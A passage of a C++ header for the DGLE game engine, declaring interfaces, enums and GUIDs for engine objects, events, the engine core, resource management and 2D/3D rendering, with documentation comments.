DGLE_RESULT DGLE_API GetSubSystemInterface(IEngineSubSystem *&prSubSystem) = 0; }; //Engine Base Object Interface// /** Types of engine objects. */ enum E_ENGINE_OBJECT_TYPE { EOT_UNKNOWN = 0, /**< Undefined or custom object type. */ EOT_TEXTURE, /**< Texture represents any basic raster data. \see ITexture*/ EOT_MATERIAL, /**< Material is a combination of textures, colors and other settings of how 3D object will be rendered in scene. \see IMaterial */ EOT_LIGHT, /**< Light is source of lighting for 3D. \see ILight */ EOT_MESH, /**< Mesh is an atomic basic geometry unit. \see IMesh */ EOT_MODEL, /**< Model is a composition of meshes with materials. Could contain animation and levels of detail. \see IModel*/ EOT_BITMAP_FONT, /**< Bitmap font is a simple 2D raster font for common purpose. \see IBitmapFont */ EOT_SOUND_SAMPLE, /**< Sound sample is a container of sound wave which could be streamed to sound device. \see ISoundSample */ EOT_MUSIC, /**< Music is some kind of large streamable sound sample with runtime hardware decoding. \see IMusic*/ EOT_EMPTY /**< For empty or dummy objects. \note This enum must be always last in the list. */ }; // {C010239A-6457-40f5-87EF-FAA3156CE6E2} static const GUID IID_IEngineBaseObject = { 0xc010239a, 0x6457, 0x40f5, { 0x87, 0xef, 0xfa, 0xa3, 0x15, 0x6c, 0xe6, 0xe2 } }; /** Base interface of any engine object. Engine objects are commonly loaded from files by Resource Manager subsystem. \see IResourceManager */ class IEngineBaseObject : public IDGLE_Base { public: /** Releases object and deallocates memory. Also removes it from IResourceManager lists. After calling Free() method you can safely null the pointer to the object. */ virtual DGLE_RESULT DGLE_API Free() = 0; /** Returns type of object. \param[out] eObjType Type of the object to which you may cast this interface pointer. \return Always returns DGLE_Types.h::S_OK. */ virtual DGLE_RESULT DGLE_API GetType(E_ENGINE_OBJECT_TYPE &eObjType) = 0; /** In case object type is EOT_UNKNOWN, you can use this function to get specific object type id. \param[out] uiObjUnknownType Integer with unique object type index. Meaning of these indexes must be provided by the developer of specific object type. \return Returns DGLE_Types.h::S_FALSE if object is not of EOT_UNKNOWN type and DGLE_Types.h::S_OK otherwise. */ virtual DGLE_RESULT DGLE_API GetUnknownType(uint &uiObjUnknownType) = 0; }; //Events Interfaces// /** Types of engine events. \see IBaseEvent */ enum E_EVENT_TYPE { ET_UNKNOWN = 0, /**< Undefined or custom event type. */ ET_BEFORE_INITIALIZATION, /**< Event occurs just before engine will call its initialization routines. \see IEvBeforeInitialization */ ET_BEFORE_RENDER, /**< Event occurs before every frame. */ ET_AFTER_RENDER, /**< Event occurs after every frame. */ ET_ON_PROFILER_DRAW, /**< It is a special event on which you can render some text information on screen. \note If you want to output some statistic or profiling information use this event and special RenderProfilerText method. \see IEngineCore::RenderProfilerText */ ET_ON_WINDOW_MESSAGE, /**< Event occurs every time when window receives message. Use this event to hook engine window messages. \see IEvWindowMessage */ ET_ON_GET_SUBSYSTEM, /**< Event occurs when someone calls IEngineCore::GetSubSystem method and you can substitute any subsystem by your own realization. \see IEvGetSubSystem */ ET_ON_ENGINE_FATAL_MESSAGE, /**< Event occurs on engine fatal error. \see IEvFatalMessage */ ET_ON_CONSOLE_WRITE, /**< Event occurs when some text is being outputted to the engine console. \see IEvConsoleWrite */ ET_ON_FULLSCREEN, /**< Event occurs when engine is switching to fullscreen mode or back to windowed from fullscreen. \see IEvGoFullScreen */ ET_ON_PER_SECOND_TIMER, /**< Event occurs every second, just before engine recalculates its current per second metrics. */ ET_COUNT }; // {6DFEF982-AADF-42e9-A369-378BDB31404A} static const GUID IID_IBaseEvent = { 0x6dfef982, 0xaadf, 0x42e9, { 0xa3, 0x69, 0x37, 0x8b, 0xdb, 0x31, 0x40, 0x4a } }; /** Base interface of any engine event. \see IEngineCore::AddEventListener, IEngineCore::RemoveEventListener */ class IBaseEvent : public IDGLE_Base { public: /** Returns type of event. \param[out] eEvType Type of the event. You may cast this interface pointer to special event interface if such exists. \return Always returns DGLE_Types.h::S_OK. */ virtual DGLE_RESULT DGLE_API GetEventType(E_EVENT_TYPE &eEvType) = 0; /** In case event type is ET_UNKNOWN, you can use this function to get specific event type id. \param[out] uiUnknEvType Integer with unique event type index. Meaning of these indexes must be provided by the developer of specific event type. \return Returns DGLE_Types.h::S_FALSE if event is not of ET_UNKNOWN type and DGLE_Types.h::S_OK otherwise. */ virtual DGLE_RESULT DGLE_API GetUnknownEventType(uint &uiUnknEvType) = 0; }; // {EB735739-3D12-4522-B6D7-EEE3225DF934} static const GUID IID_IEvBeforeInitialization = { 0xeb735739, 0x3d12, 0x4522, { 0xb6, 0xd7, 0xee, 0xe3, 0x22, 0x5d, 0xf9, 0x34 } }; enum ENUM_FORWARD_DECLARATION(E_ENGINE_INIT_FLAGS); /** Event occurs just before engine will call its initialization routines. On this event you can hook engine init Parameters. \see ET_BEFORE_INITIALIZATION, IEngineCore::InitializeEngine, IBaseEvent */ class IEvBeforeInitialization : public IBaseEvent { public: /** Sets new engine initialization parameters. \param[in] stWindowParam New engine window structure to replace current. \param[in] eInitFlags New engine initialization flags to replace current. */ virtual DGLE_RESULT DGLE_API SetParameters(const TEngineWindow &stWindowParam, E_ENGINE_INIT_FLAGS eInitFlags) = 0; /** Retrieves current engine initialization parameters. \param[in] stWindowParam Current engine window structure. \param[in] eInitFlags Current engine initialization flags. */ virtual DGLE_RESULT DGLE_API GetParameters(TEngineWindow &stWindowParam, E_ENGINE_INIT_FLAGS eInitFlags) = 0; }; // {9E35969A-B0D4-4E5A-A89B-1A5AAD057028} static const GUID IID_IEvConsoleWrite = { 0x9e35969a, 0xb0d4, 0x4e5a, { 0xa8, 0x9b, 0x1a, 0x5a, 0xad, 0x5, 0x70, 0x28 } }; /** Event occurs when some text is being added to the engine console. \see ET_ON_CONSOLE_WRITE */ class IEvConsoleWrite : public IBaseEvent { public: /** Returns console text. \param[out] pcTxt Pointer to allocated string. \param[in, out] uiCharsCount Count of the chars in allocated string. \param[out] bToPrevLine Should text replace previous console line or add new one. \return E_INVALIDARG must be returned if allocated string is too small. \note If pcTxt is NULL then uiCharsCount will contain the length of the text to allocate. */ virtual DGLE_RESULT DGLE_API GetText(char *pcTxt, uint &uiCharsCount, bool &bToPrevLine) = 0; }; // {DAA4E3BC-C958-4def-B603-F63EEC908226} static const GUID IID_IEvFatalMessage = { 0xdaa4e3bc, 0xc958, 0x4def, { 0xb6, 0x3, 0xf6, 0x3e, 0xec, 0x90, 0x82, 0x26 } }; /** Event occurs on engine fatal error. Also application errors such as "Access Violation" are handled by this event if EIF_CATCH_UNHANDLED flag is set in IEngineCore::InitializeEngine initialization flags. By handling this event \see ET_ON_ENGINE_FATAL_MESSAGE, LT_FATAL, IBaseEvent */ class IEvFatalMessage : public IBaseEvent { public: /** Returns the fatal message text. \param[out] pcTxt Pointer to allocated string. \param[in, out] uiCharsCount Count of the chars in allocated string. \return E_INVALIDARG must be returned if allocated string is too small. \note If pcTxt is NULL then uiCharsCount will contain the length of the text to allocate. */ virtual DGLE_RESULT DGLE_API GetMessageText(char *pcTxt, uint &uiCharsCount) = 0; /** Suspends all engine threads and pauses all engine routines. \param[in] bFreeze Suspends if true or resumes if false engine threads and routines. */ virtual DGLE_RESULT DGLE_API FreezeEngine(bool bFreeze) = 0; /** Forces engine not to show error message and console. \note If you decided not to show error message you should inform user about error somehow. */ virtual DGLE_RESULT DGLE_API ForceNoMessage() = 0; /** Forces engine to ignore current error and tries to continue. \warning Use with care. */ virtual DGLE_RESULT DGLE_API ForceIgnoreError() = 0; }; // {8D718E48-581D-4cbb-9C40-C04998106F8D} static const GUID IID_IEvWindowMessage = { 0x8d718e48, 0x581d, 0x4cbb, { 0x9c, 0x40, 0xc0, 0x49, 0x98, 0x10, 0x6f, 0x8d } }; /** Event occurs every time when window receives message. Use this event to hook window messages. \see ET_ON_WINDOW_MESSAGE, IBaseEvent */ class IEvWindowMessage : public IBaseEvent { public: /** Retrieves window message. \param[out] stWinMsg Structure with current message information. */ virtual DGLE_RESULT DGLE_API GetMessage(TWindowMessage &stWinMsg) = 0; }; // {2B6D2547-716E-490c-B1F1-422CB428738F} static const GUID IID_IEvGetSubSystem = { 0x2b6d2547, 0x716e, 0x490c, { 0xb1, 0xf1, 0x42, 0x2c, 0xb4, 0x28, 0x73, 0x8f } }; /** Event occurs when someone calls IEngineCore::GetSubSystem method. You can substitute any subsystem by your own realization on this event. \see ET_ON_GET_SUBSYSTEM, IBaseEvent */ class IEvGetSubSystem : public IBaseEvent { public: /** Returns subsystem type which user is trying to retrieve. \param[out] eSubSystem Type of retrieving subsystem. */ virtual DGLE_RESULT DGLE_API GetSubSystemType(E_ENGINE_SUB_SYSTEM &eSubSystem) = 0; /** Substitutes engine subsystem by custom one. \param[in] pSubSystem Pointer to subsystem interface with which retrieving subsystem will be substituted. */ virtual DGLE_RESULT DGLE_API OverrideSubSystem(IEngineSubSystem *pSubSystem) = 0; }; // {CEC9184C-74D9-4739-BF48-BB800467665B} static const GUID IID_IEvGoFullScreen = { 0xcec9184c, 0x74d9, 0x4739, { 0xbf, 0x48, 0xbb, 0x80, 0x4, 0x67, 0x66, 0x5b } }; /** Event occurs when engine is going fullscreen or go back to windowed mode from fullscreen mode. On this event you can adjust display resolution. \note If you want to prevent engine from going fullscreen mode on hotkey combination see EWF_RESTRICT_FULLSCREEN_HOTKEY flag. \see ET_ON_FULLSCREEN, IBaseEvent, EWF_RESTRICT_FULLSCREEN_HOTKEY */ class IEvGoFullScreen : public IBaseEvent { public: /** Get display resolution or window size (when switching from fullscreen mode) to be set by engine. \param[out] uiScreenWidth Display resolution width or window width in pixels. \param[out] uiScreenHeight Display resolution height or window height in pixels. \param[out] bGoFullScreen If true engine is switching to fullscreen mode or to windowed mode in other case. */ virtual DGLE_RESULT DGLE_API GetResolution(uint &uiScreenWidth, uint &uiScreenHeight, bool &bGoFullScreen) = 0; /** Adjust display resolution or window size (when switching from fullscreen mode). \param[in] uiScreenWidth New display resolution width or window width in pixels. \param[in] uiScreenHeight New display resolution height or window height in pixels. */ virtual DGLE_RESULT DGLE_API SetResolution(uint uiScreenWidth, uint uiScreenHeight) = 0; }; //Main Engine System// // {371B1338-BB25-4B8C-BD6A-BCDF241CC52C} static const GUID IID_IEngineCallback = { 0x371b1338, 0xbb25, 0x4b8c, { 0xbd, 0x6a, 0xbc, 0xdf, 0x24, 0x1c, 0xc5, 0x2c } }; class IEngineCallback : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API Initialize() = 0; virtual DGLE_RESULT DGLE_API Free() = 0; virtual DGLE_RESULT DGLE_API Update(uint uiDeltaTime) = 0; virtual DGLE_RESULT DGLE_API Render() = 0; virtual DGLE_RESULT DGLE_API OnEvent(E_EVENT_TYPE eEventType, IBaseEvent *pEvent) = 0; }; /** Type of engine callbacks. IEngineCore can register callbacks of these types. \see IEngineCore::AddProcedure, IEngineCore::RemoveProcedure */ enum E_ENGINE_PROCEDURE_TYPE { EPT_UPDATE = 0, /**< Procedure is called periodically(like on timer event). Interval of calling is set on engine initialization. In this procedure you should do any application computes. \see IEngineCore::InitializeEngine */ EPT_RENDER, /**< Procedure is called when engine decides to draw new frame. In this procedure you can call any rendering routines. */ EPT_INIT, /**< Procedure is called before engine will start its main loop. In this procedure you should load all resources needed by your application. */ EPT_FREE /**< Procedure is called before engine quits. In this procedure you should release all resources and free memory. */ }; /** Type of engine log message. \see IEngineCore::WriteToLogEx */ enum E_LOG_TYPE { LT_INFO = 0, /**< Information message do not need user attention. */ LT_WARNING, /**< Information message do not need user attention but marks in engine log as warning and increments warnings counter. */ LT_ERROR, /**< Error message do not need user attention but marks in engine log as error and increments errors counter. Error message also includes information about source file and line. */ LT_FATAL /**< Fatal message displays user error message and then terminates engine with exit code 2. Also ET_ON_ENGINE_FATAL_MESSAGE event is generated. */ }; /** Engine initialization flags. \see IEngineCore::InitializeEngine */ enum ENUM_FORWARD_DECLARATION(E_ENGINE_INIT_FLAGS) { EIF_DEFAULT = 0x00000000, /**< Use default settings. */ EIF_CATCH_UNHANDLED = 0x00000001, /**< All user callbacks will be executed in safe mode and engine will catch any unhandled errors. Engine will convert cached errors to engine fatal errors. Also ET_ON_ENGINE_FATAL_MESSAGE event will be generated. */ EIF_FORCE_NO_SOUND = 0x00000002, /**< Sound subsystem will not be initialized. */ EIF_LOAD_ALL_PLUGINS = 0x00000004, /**< Engine will try to connect any found plugin files found in "plugins" folder near it. \note Ext plugin is connected automatically without this flag as well. */ EIF_FORCE_LIMIT_FPS = 0x00000010, /**< Engine will limit its FPS (frames per second) not to overload CPU and overheat GPU. \note Recommended for casual games, 2D and simple 3D games and desktop applications. */ EIF_FORCE_16_BIT_COLOR = 0x00000020, /**< Forces engine to use 16 bit color depth instead of 32 bit by default. \note Not recommended. */ EIF_ENABLE_FLOATING_UPDATE = 0x00000040, /**< By default engine uses fixed update mechanism, this means that engine will try to keep fixed update time interval, whenever it's possible. When this flag is set the update routine simply will be called once when delta time between updates is greater than update interval (for example, even if delta time is twice greater than update interval), so you should use delta time value. \see EPT_UPDATE, IEngineCore::GetLastUpdateDeltaTime, EIF_ENABLE_PER_FRAME_UPDATE */ EIF_ENABLE_PER_FRAME_UPDATE = 0x00000100, /**< By default engine uses fixed update mechanism, this means that engine will try to keep fixed update time interval, whenever it's possible. When this flag is set the update routine simply will be called once before rendering of every frame, so you should use IEngineCore::GetElapsedTime and IEngineCore::GetTimer to manage application logic by yourself. \note In this case IEngineCore::GetLastUpdateDeltaTime will always return zero values on high FPS rates, so it is recommended to turn VSync on. \see TEngineWindow, EPT_UPDATE, EIF_ENABLE_FLOATING_UPDATE */ EIF_FORCE_NO_WINDOW = 0x00000200, /**< Engine will be initialized without window. There will be no rendering, input and update routines. Useful for tools and utilities. \warning You must call IEngineCore::StartEngine and IEngineCore::QuitEngine routines for correct engine initialization and finalization. */ EIF_NO_SPLASH = 0x10000000 /**< This flag will disable engine splash screen. Splash screen is displayed to the user while engine prepare itself and while user initialization procedure is being processed. \note Turning off splash screen is not recommended because the user could be confused while being waiting application execution. */ }; // {111BB884-2BA6-4e84-95A5-5E4700309CBA} static const GUID IID_IEngineCore = { 0x111bb884, 0x2ba6, 0x4e84, { 0x95, 0xa5, 0x5e, 0x47, 0x0, 0x30, 0x9c, 0xba } }; /** Main engine interface. Pointer to this interface is retrieved directly from the DGLE library. \see DGLE_DYNAMIC_FUNC */ class IEngineCore : public IDGLE_Base { public: /** Set engine splash window picture. \param[in] pcBmpFileName File name of the BMP file with picture to be set. \note You can use this method only before calling InitializeEngine. */ virtual DGLE_RESULT DGLE_API LoadSplashPicture(const char *pcBmpFileName) = 0; /** Adds plugin to engine initialization list. This means that plugin will be loaded on engine initialization. This is the only correct way to setup specific Render, Sound, Input or other system plugins. \param[in] pcFileName File name of the plugin. \note Standard extension plugin ("Ext") will be connected automatically (if found), so you don't need to add it to initialization list. \see EIF_LOAD_ALL_PLUGINS */ virtual DGLE_RESULT DGLE_API AddPluginToInitializationList(const char *pcFileName) = 0; /** Initialize engine and all of its subroutines. Also creates main engine window. \param[in] tHandle Handle of some already created window control to render in or NULL in case to let engine create its own window. \param[in] pcApplicationName Caption of main engine window. \param[in] stWindowParam Structure with some window properties. \param[in] uiUpdateInterval Interval in milliseconds between calling of user update routine. \see EPT_UPDATE \param[in] eInitFlags Special engine configuration flags. */ virtual DGLE_RESULT DGLE_API InitializeEngine(TWindowHandle tHandle, const char *pcApplicationName, const TEngineWindow &stWindowParam = TEngineWindow(), uint uiUpdateInterval = 33, E_ENGINE_INIT_FLAGS eInitFlags = EIF_DEFAULT) = 0; /** Change interval of calling user update routine after engine has been started. \see EPT_UPDATE \param[in] uiUpdateInterval Interval in milliseconds. \see InitializeEngine */ virtual DGLE_RESULT DGLE_API SetUpdateInterval(uint uiUpdateInterval) = 0; virtual DGLE_RESULT DGLE_API StartEngine() = 0; virtual DGLE_RESULT DGLE_API QuitEngine() = 0; virtual DGLE_RESULT DGLE_API ConnectPlugin(const char *pcFileName, IPlugin *&prPlugin) = 0; virtual DGLE_RESULT DGLE_API DisconnectPlugin(IPlugin *pPlugin) = 0; virtual DGLE_RESULT DGLE_API GetPlugin(const char *pcPluginName, IPlugin *&prPlugin) = 0; virtual DGLE_RESULT DGLE_API AddEngineCallback(IEngineCallback *pEngineCallback) = 0; virtual DGLE_RESULT DGLE_API RemoveEngineCallback(IEngineCallback *pEngineCallback) = 0; virtual DGLE_RESULT DGLE_API AddProcedure(E_ENGINE_PROCEDURE_TYPE eProcType, void (DGLE_API *pProc)(void *pParameter), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API RemoveProcedure(E_ENGINE_PROCEDURE_TYPE eProcType, void (DGLE_API *pProc)(void *pParameter), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API CastEvent(E_EVENT_TYPE eEventType, IBaseEvent *pEvent) = 0; virtual DGLE_RESULT DGLE_API AddEventListener(E_EVENT_TYPE eEventType, void (DGLE_API *pListenerProc)(void *pParameter, IBaseEvent *pEvent), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API RemoveEventListener(E_EVENT_TYPE eEventType, void (DGLE_API *pListenerProc)(void *pParameter, IBaseEvent *pEvent), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API GetSubSystem(E_ENGINE_SUB_SYSTEM eSubSystem, IEngineSubSystem *&prSubSystem) = 0; virtual DGLE_RESULT DGLE_API RenderFrame() = 0; virtual DGLE_RESULT DGLE_API RenderProfilerText(const char *pcTxt, const TColor4 &stColor = ColorWhite()) = 0; virtual DGLE_RESULT DGLE_API GetInstanceIndex(uint &uiIdx) = 0; virtual DGLE_RESULT DGLE_API GetTimer(uint64 &uiTick) = 0; virtual DGLE_RESULT DGLE_API GetSystemInfo(TSystemInfo &stSysInfo) = 0; virtual DGLE_RESULT DGLE_API GetCurrentWindow(TEngineWindow &stWin) = 0; virtual DGLE_RESULT DGLE_API GetFPS(uint &uiFPS) = 0; virtual DGLE_RESULT DGLE_API GetLastUpdateDeltaTime(uint &uiDeltaTime) = 0; virtual DGLE_RESULT DGLE_API GetElapsedTime(uint64 &ui64ElapsedTime) = 0; virtual DGLE_RESULT DGLE_API GetWindowHandle(TWindowHandle &tHandle) = 0; virtual DGLE_RESULT DGLE_API ChangeWindowMode(const TEngineWindow &stNewWin) = 0; virtual DGLE_RESULT DGLE_API GetDesktopResolution(uint &uiWidth, uint &uiHeight) = 0; virtual DGLE_RESULT DGLE_API AllowPause(bool bAllow) = 0; virtual DGLE_RESULT DGLE_API WriteToLog(const char *pcTxt) = 0; virtual DGLE_RESULT DGLE_API WriteToLogEx(const char *pcTxt, E_LOG_TYPE eType, const char *pcSrcFileName, int iSrcLineNumber) = 0; virtual DGLE_RESULT DGLE_API ConsoleVisible(bool bIsVisible) = 0; virtual DGLE_RESULT DGLE_API ConsoleWrite(const char *pcTxt, bool bWriteToPreviousLine = false) = 0; virtual DGLE_RESULT DGLE_API ConsoleExecute(const char *pcCommandTxt) = 0; virtual DGLE_RESULT DGLE_API ConsoleRegisterCommand(const char *pcCommandName, const char *pcCommandHelp, bool (DGLE_API *pProc)(void *pParameter, const char *pcParam), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API ConsoleRegisterVariable(const char *pcCommandName, const char *pcCommandHelp, int *piVar, int iMinValue, int iMaxValue, bool (DGLE_API *pProc)(void *pParameter, const char *pcParam) = NULL, void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API ConsoleUnregister(const char *pcCommandName) = 0; virtual DGLE_RESULT DGLE_API GetVersion(char *pcBuffer, uint &uiBufferSize) = 0; }; //Resource Manager SubSystem// class IFile; class ITexture; class ILight; class IMaterial; class IModel; class IMesh; class ISoundSample; enum E_TEXTURE_DATA_FORMAT { TDF_RGB8 = 0, TDF_RGBA8, TDF_ALPHA8, TDF_BGR8, TDF_BGRA8, TDF_DXT1, TDF_DXT5, TDF_DEPTH_COMPONENT24, TDF_DEPTH_COMPONENT32 }; enum E_TEXTURE_CREATE_FLAGS { TCF_DEFAULT = 0x00000000, TCF_PIXEL_ALIGNMENT_1 = 0x00000001,//use only if your texture input data is not 4 byte aligned TCF_MIPMAPS_PRESENTED = 0x00000002 //all mip levels must be presented }; enum E_TEXTURE_LOAD_FLAGS { TLF_FILTERING_NONE = 0x00000001, TLF_FILTERING_BILINEAR = 0x00000002, TLF_FILTERING_TRILINEAR = 0x00000004, TLF_FILTERING_ANISOTROPIC = 0x00000008, TLF_DECREASE_QUALITY_MEDIUM = 0x00000020, TLF_DECREASE_QUALITY_HIGH = 0x00000040, TLF_COMPRESS = 0x00000100, TLF_COORDS_REPEAT = 0x00001000, TLF_COORDS_CLAMP = 0x00002000, TLF_COORDS_MIRROR_REPEAT = 0x00004000, TLF_COORDS_MIRROR_CLAMP = 0x00008000, TLF_GENERATE_MIPMAPS = 0x00040000, TLF_ANISOTROPY_2X = 0x00100000, TLF_ANISOTROPY_4X = 0x00200000, TLF_ANISOTROPY_8X = 0x00400000, TLF_ANISOTROPY_16X = 0x00800000 }; enum E_BITMAP_FONT_LOAD_FLAGS { BFLF_FILTERING_NONE = 0x00000001, BFLF_GENERATE_MIPMAPS = 0x00000002, BFLF_FORCE_ALPHA_TEST_2D = 0x00000004 }; enum E_MESH_CREATE_FLAGS { MCF_ONLY_DEFAULT_DATA = 0x00000000,//vertex and index arrays must be presented MCF_NORMALS_PRESENTED = 0x00000001, MCF_TEXTURE_COORDS_PRESENTED= 0x00000002, MCF_TANGENT_SPACE_PRESENTED = 0x00000004, MCF_VERTEX_DATA_INTERLEAVED = 0x00000008 }; enum E_MESH_MODEL_LOAD_FLAGS { MMLF_FORCE_SOFTWARE_BUFFER = 0x00000001, MMLF_DYNAMIC_BUFFER = 0x00000002, MMLF_FORCE_MODEL_TO_MESH = 0x00000004 }; enum E_SOUND_SAMPLE_LOAD_FLAGS { SSLF_LOAD_AS_MUSIC = 0x00000001 }; const uint TEXTURE_LOAD_DEFAULT_2D = (uint)(TLF_FILTERING_BILINEAR | TLF_COORDS_CLAMP); const uint TEXTURE_LOAD_DEFAULT_3D = (uint)(TLF_FILTERING_TRILINEAR | TLF_GENERATE_MIPMAPS | TLF_COORDS_REPEAT); const uint RES_LOAD_DEFAULT = 0x00000000; // {139505B6-5EFC-4f02-A5E8-18CD1FBD69E3} static const GUID IID_IResourceManager = { 0x139505b6, 0x5efc, 0x4f02, { 0xa5, 0xe8, 0x18, 0xcd, 0x1f, 0xbd, 0x69, 0xe3 } }; class IResourceManager : public IEngineSubSystem { public: virtual DGLE_RESULT DGLE_API CreateTexture(ITexture *&prTex, const uint8 *pData, uint uiWidth, uint uiHeight, E_TEXTURE_DATA_FORMAT eDataFormat, E_TEXTURE_CREATE_FLAGS eCreateFlags, E_TEXTURE_LOAD_FLAGS eLoadFlags, const char *pcName = "", bool bAddResource = true) = 0; virtual DGLE_RESULT DGLE_API CreateMaterial(IMaterial *&prMaterial, const char *pcName = "", bool bAddResource = true) = 0; virtual DGLE_RESULT DGLE_API CreateLight(ILight *&prLight, const char *pcName = "", bool bAddResource = true) = 0; virtual DGLE_RESULT DGLE_API CreateMesh(IMesh *&prMesh, const uint8 *pData, uint uiDataSize, uint uiNumVerts, uint uiNumFaces, E_MESH_CREATE_FLAGS eCreateFlags, E_MESH_MODEL_LOAD_FLAGS eLoadFlags, const char *pcName = "", bool bAddResource = true) = 0; //pData could be NULL to create empty mesh, index buffer could be empty virtual DGLE_RESULT DGLE_API CreateModel(IModel *&prModel, const char *pcName = "", bool bAddResource = true) = 0; virtual DGLE_RESULT DGLE_API CreateSound(ISoundSample *&prSndSample, uint uiSamplesPerSec, uint uiBitsPerSample, bool bStereo, const uint8 *pData, uint32 ui32DataSize, const char *pcName = "", bool bAddResource = true) = 0; virtual DGLE_RESULT DGLE_API RegisterFileFormat(const char *pcExtension, E_ENGINE_OBJECT_TYPE eObjType, const char *pcDescription, bool (DGLE_API *pLoadProc)(IFile *pFile, IEngineBaseObject *&prObj, uint uiLoadFlags, void *pParameter), void *pParameter = NULL) = 0; virtual DGLE_RESULT DGLE_API UnregisterFileFormat(const char *pcExtension) = 0; virtual DGLE_RESULT DGLE_API RegisterDefaultResource(E_ENGINE_OBJECT_TYPE eObjType, IEngineBaseObject *pObj) = 0; virtual DGLE_RESULT DGLE_API UnregisterDefaultResource(E_ENGINE_OBJECT_TYPE eObjType, IEngineBaseObject *pObj) = 0; virtual DGLE_RESULT DGLE_API GetRegisteredExtensions(char *pcTxt, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetExtensionDescription(const char *pcExtension, char *pcTxt, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetExtensionType(const char *pcExtension, E_ENGINE_OBJECT_TYPE &eType) = 0; virtual DGLE_RESULT DGLE_API GetResourceByName(const char *pcName, IEngineBaseObject *&prObj) = 0; virtual DGLE_RESULT DGLE_API GetResourceByIndex(uint uiIdx, IEngineBaseObject *&prObj) = 0; virtual DGLE_RESULT DGLE_API GetResourceName(IEngineBaseObject *pObj, char *pcName, uint &uiCharsCount) = 0; virtual DGLE_RESULT DGLE_API GetDefaultResource(E_ENGINE_OBJECT_TYPE eObjType, IEngineBaseObject *&prObj) = 0; virtual DGLE_RESULT DGLE_API GetResourcesCount(uint &uiCount) = 0; virtual DGLE_RESULT DGLE_API Load(const char *pcFileName, IEngineBaseObject *&prObj, uint uiLoadFlags = RES_LOAD_DEFAULT, const char *pcName = "") = 0; virtual DGLE_RESULT DGLE_API LoadEx(IFile *pFile, IEngineBaseObject *&prObj, uint uiLoadFlags = RES_LOAD_DEFAULT, const char *pcName = "") = 0; virtual DGLE_RESULT DGLE_API FreeResource(IEngineBaseObject *&prObj) = 0; virtual DGLE_RESULT DGLE_API AddResource(const char *pcName, IEngineBaseObject *pObj) = 0; virtual DGLE_RESULT DGLE_API RemoveResource(IEngineBaseObject *pObj, bool &bCanDelete) = 0; }; //Render SubSystem// class IRender2D; class IRender3D; class ICoreGeometryBuffer; struct TDrawDataDesc; enum ENUM_FORWARD_DECLARATION(E_CORE_RENDERER_DRAW_MODE); enum E_GET_POINT3_MODE { GP3M_FROM_DEPTH_BUFFER = 0, GP3M_FROM_FAR_PLANE, GP3M_FROM_NEAR_PLANE }; enum E_BLENDING_EFFECT { BE_NORMAL = 0, BE_ADD, BE_MULT, BE_BLACK, BE_WHITE, BE_MASK }; // {EA03C661-A334-4225-B5DB-4C45452CCC41} static const GUID IID_IRender = { 0xea03c661, 0xa334, 0x4225, { 0xb5, 0xdb, 0x4c, 0x45, 0x45, 0x2c, 0xcc, 0x41 } }; class IRender : public IEngineSubSystem { public: virtual DGLE_RESULT DGLE_API SetClearColor(const TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API GetClearColor(TColor4 &stColor) = 0; virtual DGLE_RESULT DGLE_API ClearColorBuffer() = 0; virtual DGLE_RESULT DGLE_API Unbind(E_ENGINE_OBJECT_TYPE eType) = 0; //use EOT_UNKNOWN to unbind all virtual DGLE_RESULT DGLE_API EnableScissor(const TRectF &stArea) = 0; virtual DGLE_RESULT DGLE_API DisableScissor() = 0; // when using in 2D must be always inside Begin2D - End2D block virtual DGLE_RESULT DGLE_API GetScissor(bool &bEnabled, TRectF &stArea) = 0; virtual DGLE_RESULT DGLE_API SetRenderTarget(ITexture *pTargetTex = NULL) = 0; virtual DGLE_RESULT DGLE_API GetRenderTarget(ITexture *&prTargetTex) = 0; virtual DGLE_RESULT DGLE_API GetRender2D(IRender2D *&prRender2D) = 0; virtual DGLE_RESULT DGLE_API GetRender3D(IRender3D *&prRender3D) = 0; }; //Render2D interface// //Flags for Primitives enum E_PRIMITIVE2D_FLAGS { PF_DEFAULT = 0x00000000, PF_LINE = 0x00000000, PF_FILL = 0x00000001, PF_VERTICES_COLORS = 0x00000002 }; //Flags for Effects enum E_EFFECT2D_FLAGS { EF_DEFAULT = 0x00000000, EF_NONE = 0x00000001, EF_ALPHA_TEST = 0x00000002, EF_BLEND = 0x00000004, EF_FLIP_HORIZONTALLY= 0x00000008, EF_FLIP_VERTICALLY = 0x00000010, EF_COLOR_MIX = 0x00000020, EF_SCALE = 0x00000040, EF_VERTICES_OFFSETS = 0x00000080, EF_VERTICES_COLORS = 0x00000100, EF_ROTATION_POINT = 0x00000200, EF_TILE_TEXTURE = 0x00000400 }; enum E_BATCH_MODE2D { BM_AUTO = 0, BM_DISABLED, BM_ENABLED_UPDATE_EVERY_TICK, BM_ENABLED_UPDATE_EVERY_FRAME }; // {F5F3257A-F8B8-4d91-BA67-451167A8D63F} static const GUID IID_IRender2D = { 0xf5f3257a, 0xf8b8, 0x4d91, { 0xba, 0x67, 0x45, 0x11, 0x67, 0xa8, 0xd6, 0x3f } }; class IRender2D : public IDGLE_Base { public: virtual DGLE_RESULT DGLE_API Begin2D() = 0; virtual DGLE_RESULT DGLE_API End2D() = 0; virtual DGLE_RESULT DGLE_API BatchRender(E_BATCH_MODE2D eMode) = 0; virtual DGLE_RESULT DGLE_API InvalidateBatchData() = 0; virtual DGLE_RESULT DGLE_API BeginBatch(bool bUpdateEveryFrame = false) = 0; virtual DGLE_RESULT DGLE_API EndBatch() = 0; virtual DGLE_RESULT DGLE_API NeedToUpdateBatchData(bool &bNeedUpdate) = 0; virtual DGLE_RESULT DGLE_API SetResolutionCorrection(uint uiResX, uint uiResY, bool bConstantProportions = true) = 0; //Set resx and resy to current screen size to turn off correction virtual DGLE_RESULT DGLE_API ResolutionCorrectToAbsolute(const TPoint2 &stLogicCoord, TPoint2 &stAbsoluteCoord) = 0; virtual DGLE_RESULT DGLE_API AbsoluteToResolutionCorrect(const TPoint2 &stAbsoluteCoord, TPoint2 &stLogicCoord) = 0; virtual DGLE_RESULT DGLE_API SetCamera(const TPoint2 